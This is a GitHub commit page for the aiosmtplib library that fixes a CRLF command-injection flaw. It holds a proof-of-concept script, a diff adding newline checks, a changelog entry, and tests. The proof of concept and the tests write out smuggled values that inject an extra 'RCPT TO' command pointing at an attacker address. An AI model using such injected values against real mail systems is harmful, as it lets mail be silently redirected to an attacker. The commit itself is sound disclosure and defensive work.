Skip to content

Commit

Permalink
Fix possible command injection vulnerability
Browse files Browse the repository at this point in the history
References:
https://www.mbsd.jp/research/20151218/smtp-injection/
https://consensys.net/diligence/vulnerabilities/python-smtplib-multiple-crlf-injection/

PoC:

```
import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(
        hostname="127.0.0.1",
        port=1225,
        source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>"
    )
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())
```
  • Loading branch information
cole committed Sep 2, 2022
1 parent 7cfe9b0 commit b459c04
Show file tree
Hide file tree
Showing 4 changed files with 43 additions and 0 deletions.
6 changes: 6 additions & 0 deletions CHANGELOG.rst
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@ Changelog
1.1.7 (unreleased)
-------------------

- Security: Fix a possible injection vulnerability (a variant of
https://consensys.net/diligence/vulnerabilities/python-smtplib-multiple-crlf-injection/)

Note that in order to exploit this vulnerability in aiosmtplib, the attacker would need
control of the ``hostname`` or ``source_address`` parameters. Thanks Sam Sanoop @ Snyk
for bringing this to my attention.
- Bugfix: include CHANGLOG in sdist release
- Type hints: fix type hints for async context exit (credit @JelleZijlstra)

Expand Down
14 changes: 14 additions & 0 deletions aiosmtplib/connection.py
Original file line number Diff line number Diff line change
Expand Up @@ -253,6 +253,20 @@ def _validate_config(self) -> None:
"The socket_path option is not compatible with hostname/port"
)

if self.source_address is not None and (
"\r" in self.source_address or "\n" in self.source_address
):
raise ValueError(
"The source_address param contains prohibited newline characters"
)

if self.hostname is not None and (
"\r" in self.hostname or "\n" in self.hostname
):
raise ValueError(
"The hostname param contains prohibited newline characters"
)

async def connect(self, **kwargs) -> SMTPResponse:
"""
Initialize a connection to the server. Options provided to
Expand Down
10 changes: 10 additions & 0 deletions tests/test_commands.py
Original file line number Diff line number Diff line change
Expand Up @@ -585,3 +585,13 @@ async def test_badly_encoded_text_response(
response = await smtp_client.noop()

assert response.code == SMTPStatus.completed


async def test_header_injection(smtp_client, smtpd_server, received_commands):
async with smtp_client:
await smtp_client.mail("test@example.com\r\nX-Malicious-Header: bad stuff")

assert len(received_commands) > 0
for command in received_commands:
for arg in command:
assert "bad stuff" not in arg
13 changes: 13 additions & 0 deletions tests/test_config.py
Original file line number Diff line number Diff line change
Expand Up @@ -272,3 +272,16 @@ async def test_loop_kwarg_deprecation_warning_connect(
await client.connect(loop=event_loop)

assert client.loop == event_loop


async def test_hostname_newline_raises_error():
with pytest.raises(ValueError):
SMTP(hostname="localhost\r\n")


async def test_source_address_newline_raises_error():
with pytest.raises(ValueError):
SMTP(
hostname="localhost",
source_address="localhost\r\nRCPT TO: <hacker@hackers.org>",
)

0 comments on commit b459c04

Please sign in to comment.